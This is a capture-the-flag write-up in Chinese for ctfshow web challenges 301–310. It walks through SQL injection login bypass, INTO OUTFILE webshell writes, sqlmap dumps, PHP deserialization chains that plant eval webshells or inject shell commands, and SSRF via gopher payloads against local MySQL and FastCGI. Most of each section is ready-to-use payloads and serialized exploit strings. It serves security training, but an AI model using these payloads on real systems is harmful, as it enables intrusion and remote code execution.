Web301
在源代码中 以下一处存在sql语句
方法一:联合查询注入
在联合查询并不存在得数据时,联合查询就会构造一个虚拟得数据
就相当于构造了一个虚拟账户,可以使用这个账户登录。
平常我们联合注入得时候一般是这样得payload:?id=1 and 1=2 union select 1,database()#
。会给两个回显位1 数据库名称
。这个1是哪里来的呢,就是...select 1...
1`创建得虚拟数据1
同时在同文件的第17行if(!strcasecmp($userpwd,$row['sds_password']))
strcasecmp是进行比较字符串,满足条件就能登录,如果str1<str2返回<0;如果str1>str2返回>0;相等返回0
账号:-1' union select 1#
密码:1
方法二:sql写shell
账号:-1' union select "<?php eval($_POST['cmd']);?>" into outfile "/var/www/html/shell.php"#
密码:1
方法三:非预期
bp抓包访问index.php
方法四:利用strcasecmp数组绕过
userid=admin&userpwd[]=1
根据前面的写shell,我们可以phpinfo()一下看一下php版本(7.3.22)
当 strcasecmp
的参数为数组时:
- PHP 7.4 及以下:函数会返回
NULL
,在条件判断中被视为false
。 - PHP 8.0 及以上:会触发
E_WARNING
并返回0
(视为相等)。
所以可以利用数组进行绕过
Web302
根据题目
方法一:依旧可以用sql写shell
方法二:联合注入
但需要稍微改一下payload
md5(md5('1'.md5(base64_encode("sds")))."sds")
账号:-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#
密码:1
方法三:依旧是非预期
Web303(insert注入)
审计源码后,发现在dptadd.php中提示了注入点
。
但是需要我们带着cookie
进行访问,所以需要先登录
在checklogin.php中
结合fun.php
我们可以看出来账号和密码都是admin进行登录
然后去访问dptadd.php 会给我们一个返回语句
结合源码
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
echo $sql;
无过滤的insert注入
然后可以手工注入也可以直接进行sqlmap跑
python sqlmap.py -r "C:\Users\26387\Desktop\1.txt" -p dpt_name --batch -D sds -T sds_fl9g -C flag --dump
手工注入:
查表名
dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#查字段
dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#查值
dpt_name=1',sds_address=(select flag from sds_fl9g)#
可以在dpt.php下看到
Web304(有过滤的insert注入)
相比上一题增加了全局waf
function sds_waf($str){return preg_match('/[0-9]|[a-z]|-/i', $str);
}
但似乎环境并没有做过滤
依旧能用上面一样的打法
python sqlmap.py -r "C:\Users\26387\Desktop\1.txt" --batch -p dpt_name -D sds -T sds_flaag -C flag --dump
Web305(反序列化file_put_contents写入文件)
相比前面一题在fun.php中过滤很多,也就不能用之前的方法了。但他新增了class.php
class user{public $username;public $password;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __destruct(){file_put_contents($this->username, $this->password);}
}
同时在checklogin.php中调用了这个
所以这题是反序列化漏洞
<?php
class user{public $username;public $password;public function __construct($u,$p){$this->username=$u;$this->password=$p;}
}// 构造写入webshell的对象
$malicious = new user('shell.php', '<?php @eval($_POST["cmd"]);?>');
echo urlencode(serialize($malicious));
?>O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A8%3A%22password%22%3Bs%3A29%3A%22%3C%3Fphp+%40eval%28%24_POST%5B%22cmd%22%5D%29%3B%3F%3E%22%3B%7D
在登陆的时候抓包,并在Cookie后面加上user和我们的反序列化串
然后用蚁剑连接
但是发现没有找到flag
但是在连接上的蚁剑中conn.php给了我们数据库的一些信息
然后回到shell,右键的数据操作
找到flag位置,点击执行
ctfshow{c8cade8c-a2d1-485b-a0ab-1320d1cc6dca}
Web306
审计源码
这次反序列化的注入点在index.php下
然后去看dao.php
可以看到存在__destruct()
方法,那么就是从这入手
调用了class.php下的log类的close方法
然后在这个方法中存在file_put_contents()
也就是写入函数
<?php
class dao{private $config;private $conn;public function __construct(){$this->conn=new log();}
}class log{public $title="shell.php";public $info='<?php @eval($_POST["cmd"]);?>';public function close(){file_put_contents($this->title, $this->info);}}
$dao=new dao();
echo base64_encode((serialize($dao)));TzozOiJkYW8iOjI6e3M6MTE6IgBkYW8AY29uZmlnIjtOO3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo5OiJzaGVsbC5waHAiO3M6NDoiaW5mbyI7czoyOToiPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4iO319
这里要注意抓包后 将url改成index.php来触发反序列化
然后蚁剑连接shell.php
Web307
经过代码审计,可以发现在controller/service/dao/class.php下依旧有file_put_contents()
调用的是closelog()
,但很可惜我们并不能从其他地方找到调用这个函数的地方,所以只能另寻其路了。
在同目录的dao.php下我们找到了一个危险函数shell_exec()
并且是clearCache()
方法
那么就去追溯一下他
我们可以看到在logout.php中对他进行了调用
logout.php
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){$service->clearCache();
}
可以看到存在反序列化入口
在config.php下
存在cache_dir属性且是public,那么只需要给$cache_dir进行赋值,写入木马
<?phpclass dao{private $config;public function __construct(){$this->config=new config();}public function clearCache(){shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');}}class config{public $cache_dir = ';echo "<?php eval(\$_POST[1]);?>" > /var/www/html/shell.php;';}$a = new dao();echo base64_encode(serialize($a));?>TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NjE6IjtlY2hvICAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocDsiO319
再去用蚁剑连接即可
Web308(SSRF打mysql)
这题主要在fun.php中多了checkUpdate()
这么一段
很明显就是打SSRF了
在dao.php下的checkVersion()
调用了这个类
然后checkVersion()
在index.php下和service.php下进行了调用,同时index.php包含了service.php,service.php中进行了new dao()
还有最主要的就是mysql是无密码的,可以通过是SSRF打MySQL
那么链子就来了
index.php->service.php->dao.php->config.php
我们先去用gopher生成一个payload
python2 gopherus.py --exploit mysql
root
select "<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/shell.php';gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4e%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%3b%01%00%00%00%01
POC
<?php
class dao{private $config;private $conn;public function __construct(){$this->config=new config();}public function checkVersion(){return checkUpdate($this->config->update_url);}
}
class config{public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4e%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%3b%01%00%00%00%01';
}
$dao=new dao();
echo base64_encode(serialize($dao));TzozOiJkYW8iOjI6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3ODc6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNGUlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMjclNjMlNmQlNjQlMjclNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjclMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlNzMlNjglNjUlNmMlNmMlMmUlNzAlNjglNzAlMjclM2IlMDElMDAlMDAlMDAlMDEiO31zOjk6IgBkYW8AY29ubiI7Tjt9
然后抓包访问index.php
访问/shell.php,并用蚁剑连接
Web309(SSRF打FastCGI)
这题题目说了mysql有密码,那就不能用上面的方法了
但是我们可以用SSRF打FastCGI
python2 gopherus.py --exploit fastcgi
index.php
lsgopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
补充一点:"我们为什么要输入一个index.php"FastCGI 协议在处理请求时,需要知道要 “执行” 哪个 PHP 脚本文件。为了让构造的 FastCGI 请求能被服务器正常识别、处理,得指定一个服务器上实际存在的 PHP 文件路径 。因为只有存在的文件,服务器才会去调度 PHP - FPM 等组件解析执行,这样后续通过 FastCGI 注入恶意指令(比如执行系统命令 `cat /flagfile` )的操作,才有可能在对应上下文里生效。要是不清楚目标具体有哪些 PHP 文件,按提示直接回车用工具默认的文件(一般也是常见的如 index.php 这类)就行,目的就是让 FastCGI 请求能关联到真实存在的脚本,让攻击流程能往下走,最终借助这个 “合法” 脚本的执行上下文,去执行我们注入的恶意命令(如读取 flag 文件 )。
<?php
class dao{private $config;private $conn;public function __construct(){$this->config=new config();}public function checkVersion(){return checkUpdate($this->config->update_url);}
}
class config{public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
$dao=new dao();
echo base64_encode(serialize($dao));
<?php
class dao{private $config;private $conn;public function __construct(){$this->config=new config();}public function checkVersion(){return checkUpdate($this->config->update_url);}
}
class config{public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
$dao=new dao();
echo base64_encode(serialize($dao));TzozOiJkYW8iOjI6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo1NzU6ImdvcGhlcjovLzEyNy4wLjAuMTo5MDAwL18lMDElMDElMDAlMDElMDAlMDglMDAlMDAlMDAlMDElMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlRjYlMDYlMDAlMEYlMTBTRVJWRVJfU09GVFdBUkVnbyUyMC8lMjBmY2dpY2xpZW50JTIwJTBCJTA5UkVNT1RFX0FERFIxMjcuMC4wLjElMEYlMDhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMSUwRSUwMkNPTlRFTlRfTEVOR1RINTglMEUlMDRSRVFVRVNUX01FVEhPRFBPU1QlMDlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUlMjAlM0QlMjBPbiUwQWRpc2FibGVfZnVuY3Rpb25zJTIwJTNEJTIwJTBBYXV0b19wcmVwZW5kX2ZpbGUlMjAlM0QlMjBwaHAlM0EvL2lucHV0JTBGJTA5U0NSSVBUX0ZJTEVOQU1FaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDAlM0ElMDQlMDAlM0MlM0ZwaHAlMjBzeXN0ZW0lMjglMjdjYXQlMjBmJTJBJTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAwIjt9czo5OiIAZGFvAGNvbm4iO047fQ==
Web310(文件读取)
源码没修改。我们使用上一题的打法,但找不到flag,我们使用find命令找flag,发现在/var/flag下
find / -name "*flag*" 2>/dev/null
我们尝试读取/var/flag,但发现读不了
看了别的师傅的姿势,是读nginx.conf,读这个配置文件(至于这个文件的路径,也是可以通过find命令找到)
<?php
class dao{private $config;private $conn;public function __construct(){$this->config=new config();}public function checkVersion(){return checkUpdate($this->config->update_url);}
}
class config{public $update_url = 'file:///etc/nginx/nginx.conf';
}
$dao=new dao();
echo base64_encode(serialize($dao));
可以得到
server {listen 4476;server_name localhost;root /var/flag;index index.html;proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;}
每一个http块都可以包含多个server块,而每个server块就相当于一台虚拟主机,它内部可有多台主机联合提供服务,一起对外提供在逻辑上关系密切的一组服务
nginx可以通过fastcgi对接php,所以nginx的配置文件中也会有一些重要信息,此外还有端口转发等,一些重要的信息配置文件中可能都会有
<?php
class dao{private $config;private $conn;public function __construct(){$this->config=new config();}public function checkVersion(){return checkUpdate($this->config->update_url);}
}
class config{public $update_url = 'http://127.0.0.1:4476';
}
$dao=new dao();
echo base64_encode(serialize($dao));